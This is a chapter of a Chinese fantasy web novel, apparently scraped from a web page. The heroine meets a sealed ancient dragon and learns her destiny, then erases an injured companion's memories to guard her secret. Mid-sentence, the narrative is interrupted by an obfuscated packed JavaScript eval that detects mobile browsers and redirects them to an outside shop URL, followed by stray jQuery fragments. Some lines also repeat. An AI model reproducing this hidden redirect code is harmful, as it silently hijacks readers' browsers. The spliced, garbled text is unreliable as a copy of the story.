46. 应龙

作品:《摆烂后,整个仙界都不转了

    “不是压制,不是毁灭……是共生!”


    阿洅的潜意识在疯狂呐喊,如同一道惊雷劈开混沌。


    她猛地攥紧掌心早已熄灭的混沌鉴。脖颈间的月华玉也自发亮起柔和的白光,竟与混沌鉴的气息遥相呼应,化作一道温润的屏障,护住她摇摇欲坠的神识。


    “月华玉,引!混沌鉴,承!”


    她以残存的意念催动两件至宝,混沌鉴的灰光骤然复苏,与月华玉的白光交织缠绕,形成一道黑白相间的气流,强行束缚住体内乱窜的灾厄之力。而体外的青蓝色神脉之力仿佛感受到了呼应,不再是单纯的压制,而是化作缕缕丝线,顺着她的经脉涌入体内,与混沌、月华之力交织,形成三足鼎立之势,将灾厄本源困在中央。


    “给我……回去!”


    紫红色的灾厄能量在三种力量的包裹下,渐渐褪去狰狞,化作一缕缕柔和的光芒,与混沌的灰、月华的白、神脉的青交织缠绕,最终在她的经脉之中沉寂下来。


    她缓缓睁开眼,水中的压力瞬间消散,周身的水流如同温顺的绸缎,环绕在她身边。


    阿洅刚缓过神,指尖的光晕还未完全收敛,洛水深处突然传来一声低沉而古老的龙吟,震得她耳膜嗡嗡作响。


    那声音带着穿透灵魂的威严,仿佛跨越了万古岁月,直直传入她的脑海:“混沌之体,灾厄之核,承神脉之泽……来,到吾之身前。”


    阿洅心头剧震,这声音带着不容抗拒的召唤力。她下意识朝着声音传来的方向望去,只见下方的洛水漩涡深处,青蓝色的神脉光柱愈发璀璨,隐约勾勒出一道绵延数万丈的巨大身影,龙鳞在光柱中闪烁着幽冷的光泽,一条上古巨龙被封印在洛水底。


    水流突然变得温顺,化作一道无形的洪流,牵引着阿洅的身形缓缓下沉。她没有抗拒,体内的混沌鉴与月华玉同时发烫,像是在呼应着巨龙的召唤,神脉之力在周身流淌,为她隔绝了水下的压强与寒气。


    越往下沉,周围的光线越暗,唯有巨龙周身的青蓝色光柱照亮前路。


    随着距离拉近,阿洅终于看清了巨龙的全貌:它盘踞在洛水最深处的岩层之上,身躯被无数道金色锁链缠绕,锁链深深嵌入龙鳞,石柱上刻着着阿洅看不懂的古老符文。


    这些锁链,将它困在此地。


    巨龙缓缓睁开眼,一双金色的瞳孔如同两轮烈日,映照出阿洅的身影,威严中带着一丝欣慰:“百万年了,终于等到能解开吾之封印的人。”


    “您是……洛水的守护巨龙?”阿洅停下身形,恭敬地问道,体内的力量依旧在与巨龙的气息共鸣。


    “吾乃上古应龙,受天道所托,镇守洛水神脉与底下的邪煞之源。”巨龙的声音在水中回荡,金色瞳孔中闪过一丝悠远的怀念,“老友,许久未见,没想到竟以这般方式重逢。”


    阿洅一愣,下意识摸向掌心的混沌鉴:“前辈,您是在……对混沌鉴说话?”


    “非也,是对你,亦是对它。”应龙缓缓颔首,龙首微微低下,凑近阿洅,“阴阳混沌鉴乃上古混沌至宝,当年与吾一同镇守邪煞之源,后因能量耗尽,流落人间,寻其有缘人。而你,既是混沌鉴选中的宿主,亦是灾星荧惑转世。”


    荧惑转世?


    灾星?


    阿洅浑身一震,如遭雷击,脑海中瞬间炸开无数纷乱的碎片,那些被混沌鉴压制的记忆,那些潜藏在血脉深处的毁灭感,此刻尽数浮现。她踉跄着后退半步,指尖的四色光晕剧烈波动,声音带着难以置信的颤抖:“灾星……荧惑?传说中带来战乱与毁灭的星辰转世?”


    应龙金色的瞳孔中闪过一丝悲悯,缓缓点头:“正是。上古之时,荧惑星核坠入凡尘,化为灾厄本源,本欲毁灭世间,却被混沌鉴的本源之力封印,与你这具混沌之体共生。吾当年与混沌鉴一同镇守邪煞,便是为了防止荧惑本源失控,与地底邪煞合流,酿成灭世大祸。”


    “可……可我从未想过毁灭什么!”阿洅攥紧拳头,体内的灾厄之力似乎感受到她的情绪,开始微微躁动,“我只是想好好活着。”


    凭什么有人生来就注定了一切,凭什么她生来就要被打上灾星的名号,她不服……


    应龙的声音温和下来,龙首轻轻摆动,“荧惑虽为灾星,却非天生邪恶。它的本源是极致的毁灭之力,而毁灭的尽头,便是新生。正如混沌初开,先有毁灭,而后有阴阳相生,万物繁衍。”


    它看向阿洅掌心的混沌鉴,语气郑重:“既能包容混沌的浩瀚,亦能驾驭灾厄的狂暴。这便是‘共生’的真谛。”


    阿洅愣住了,脑海中那句“混沌初开,阴阳相济,并非压制,而是共生”再次响起。她低头看着掌心的混沌鉴,感受着体内交织的力量,心中的迷茫渐渐散去,取而代之的是一种前所未有的清明。


    “前辈,您的意思是,我可以掌控荧惑本源,而非被它控制?”


    “正是。”应龙眼中闪过赞许,“去吧!”


    “正是。”应龙眼中闪过赞许,龙首微微抬起,周身青蓝色神脉之力暴涨,缠绕其身的金色锁链发出阵阵嗡鸣,符文光芒如流水般淌过,“去吧,你的友人正在等你。”


    它缓缓抬起龙爪,掌心凝聚出一团柔和的金色光晕,轻轻推向阿洅:“此乃吾之龙元碎片,可助你稳固体内灾厄之力,日后若遇绝境,亦可凭它护住心脉。”


    金色光晕化作一块龙鳞,阿洅将它收入乾坤袋。


    “前辈,您的封印……”阿洅望着应龙身上的金色锁链,有些担忧。


    应龙轻笑一声,声音震得水波荡漾:“吾之封印,非为囚禁,实为镇守。待你掌控全部力量,扫清世间邪祟之日,便是吾重获自由之时。”


    “去吧,莫让友人久等!”


    话音未落,阿洅周身的水流突然化作一道冲天的水柱,将她稳稳托住,朝着洛水表面飞速攀升。她转头望去,只见应龙缓缓闭上双眼,周身的青蓝色神脉之力愈发璀璨,将地底的邪煞嘶吼彻底镇压,金色锁链上的符文光芒也愈发耀眼。


    “前辈保重!”阿洅高声呼喊,眼中满是坚定。


    水柱裹挟着她冲破漩涡,跃出洛水表面。此刻天色已微亮,晨曦的光芒洒在水面上,波光粼粼。


    水柱裹挟着阿洅冲破漩涡,跃出洛水表面,溅起漫天晶莹的水花。晨曦穿透薄雾,洒在满目疮痍的祭台上,碎石与干涸的血迹交织,透着战后的狼藉。


    她刚稳稳落地,目光便瞬间锁定祭台中央,知微斜倚在断裂的石柱旁,仙剑脱手落在身侧,紫色衣袍染满血迹,原本挺拔的身形此刻蜷缩着,双目紧闭,脸色苍白如纸,气息微弱得几乎难以察觉。


    四个姑娘已经不知所踪,阿洅也不知道她们去哪儿了。


    “知微!”


    阿洅心头一紧,至他身前,指尖颤抖着探向他的脉搏。脉象紊乱而虚弱,猜测是此前与七杀殿主激战


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367695|190894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,又强行抵挡她失控时的灾厄之力,灵力耗竭,身受重创才昏厥过去。


    指尖触及知微冰凉的脉搏,阿洅心头猛地一缩,下意识想运转灵力为他疗伤,可念头刚起,便被一股尖锐的利己本能狠狠掐断。


    她猛地抽回手,像是触碰了什么烫手的山芋,踉跄着后退两步,目光在知微苍白的脸与远处茫茫的晨雾间来回扫视,瞳孔里翻涌着挣扎与狠戾。


    “凭什么……”她低声嘶吼,声音带着一丝不易察觉的颤抖,“凭什么为我受伤,就要我留下来陪葬?我是灾星荧惑,本就不该有什么羁绊,好好活着才是最重要的。”


    脑海中闪过应龙的话语,闪过知微为挡下她的灾厄之力时喷血的模样,可这些都被“活下去”的执念死死压下。


    她想起自己生来背负的“灾星”名号,想起那些潜藏的毁灭预感,心中只剩一个念头,逃,跑得越远越好,远离这一切是非,远离会拖累她的人。


    阿洅攥紧掌心的混沌鉴,感受着体内稳定的共生之力,眼中最后一丝犹豫也彻底消散。她瞥了一眼昏迷不醒的知微,嘴角勾起一抹冰冷的弧度,那弧度里满是自私与决绝。


    “知微仙尊,多谢你此前相助。”她轻声说道,语气里没有半分温度,“但我阿洅,从来只懂自保,不懂报恩。你醒了便自求多福吧,从此,你我两不相欠。”


    话音落下,阿洅转身欲走,脚步却猛地顿住。指尖的混沌鉴微微发烫,像是在提醒她,知微知晓了她是荧惑转世的秘密,知晓了她体内的灾厄本源。


    “若是他醒了,将我的秘密公之于众……”一个冰冷的念头在她脑海中炸开,眼底瞬间掠过一丝狠厉。


    修仙界对邪祟的憎恶深入骨髓,一旦秘密泄露,她将永无宁日,被天下人追杀。


    她缓缓转头,目光落在知微毫无防备的脸上,指尖悄然凝聚起一缕白光,那光芒在晨光中泛着危险的寒意。


    “斩草需除根,留着你,终究是个隐患。”


    力量即将离体的瞬间,她脑海中突然闪过一本古籍上的记载,上古禁术“忘川印”,可强行篡改他人记忆,抹去指定片段,虽会损耗自身灵力,却比杀人灭口更为隐蔽。


    “杀了他,反而容易引人怀疑。”阿洅眼神闪烁,迅速收回灵力,转而调动体内的混沌与月华之力,两种力量交织成一道柔和却带着强制意味的光晕,缓缓探向知微的眉心。


    “别怪我,要怪就怪你知道得太多。”她低声呢喃,指尖轻轻按在知微的额头上,“忘川印,启!”


    柔和的光晕顺着知微的眉心涌入,他眉头微微蹙起,身体下意识地轻颤,气息愈发微弱。


    阿洅咬紧牙关,源源不断地输送着灵力,脑海中清晰地勾勒出要抹去的记忆片段。


    关于她失控的灾厄形态、关于七杀殿主的对话、关于荧惑和混沌鉴的秘密,只留下两人一同对抗七杀殿主、玄水兽的片段,以及她最终坠入洛水的模糊记忆。


    半个时辰后,阿洅猛地收回手,脸色苍白了几分,体内灵力损耗过半。她看着知微依旧昏迷的脸,确认记忆篡改成功,心中悬着的石头终于落地。


    “从此,你我只是偶然并肩的过客。”


    她最后瞥了一眼知微,不再有丝毫留恋,转身化作一道流光,消失在晨雾弥漫的密林深处。


    祭台上,只剩知微孤身一人,在破碎的石柱旁静静躺着,对刚刚发生的一切,一无所知。